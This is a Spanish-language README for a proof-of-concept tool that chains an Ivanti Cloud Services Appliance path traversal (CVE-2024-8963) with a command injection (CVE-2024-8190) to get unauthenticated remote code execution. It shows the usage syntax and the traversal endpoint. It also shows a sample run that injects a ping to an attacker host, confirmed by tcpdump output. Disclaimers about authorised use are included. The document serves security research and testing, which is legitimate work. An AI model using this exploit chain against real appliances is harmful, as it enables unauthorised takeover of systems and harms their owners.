
Combinando CVE-2024-8963 y CVE-2024-8190 - Para RCE no autenticado en Ivanti CSA 4.6 e inferiores
Combinando CVE-2024-8963 & CVE-2024-8190 - PoC para RCE no autenticado en Ivanti CSA 4.6 y anteriores.
CVE-2024-8963
Path Traversal en Ivanti CSA anterior al parche 519 de la versión 4.6 permite a un atacante remoto no autenticado acceder a funcionalidades restringidas.
CVE-2024-8190
Una vulnerabilidad de inyección de comandos del sistema operativo en Ivanti Cloud Services Appliance versiones 4.6 Parche 518 y anteriores permite a un atacante remoto autenticado obtener ejecución remota de código. El atacante debe tener privilegios de nivel administrador para explotar esta vulnerabilidad.
Este PoC combina las dos para demostrar cómo se puede usar CVE-2024-8190 sin autenticación.
python3 ./cve-2024-8190.py <target_url> '<CMD>'
$ python3 ./cve-2024-8190.py https://<target> 'ping -c 4 <attacker>'
[!] WARNING: This script is for authorized testing and educational purposes only. Unauthorized use is illegal.
[*] Fetching https://<target>/client/index.php%3F.php/gsb/datetime.php...
[+] Got LDCSA_CSRF value: sid:483045<REMOVED>
[*] Sending payload...
[!] Request timed out. Check if the command executed on the target.
$ sudo tcpdump -n "icmp" -l
11:43:15.135004 IP <target> > <attacker> ICMP echo request, id 30001, seq 1, length 64
11:43:16.135647 IP <target> > <attacker>: ICMP echo request, id 30001, seq 2, length 64
11:43:17.137707 IP <target> > <attacker>: ICMP echo request, id 30001, seq 3, length 64
11:43:18.137085 IP <target> > <attacker>: ICMP echo request, id 30001, seq 4, length 64
El PoC de Horizon3.ai para CVE-2024-8190 en el que se basa este PoC en gran medida:
https://github.com/horizon3ai/CVE-2024-8190
La plantilla de nuclei de ProjectDiscovery para CVE-2024-8963.yaml:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-8963.yaml
P.D. ¡ProjectDiscovery es genial!
No seas un imbécil.
Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto donde esté explícitamente autorizado. Los mantenedores del proyecto no son responsables ni están obligados por el mal uso del software. Úsalo responsablemente.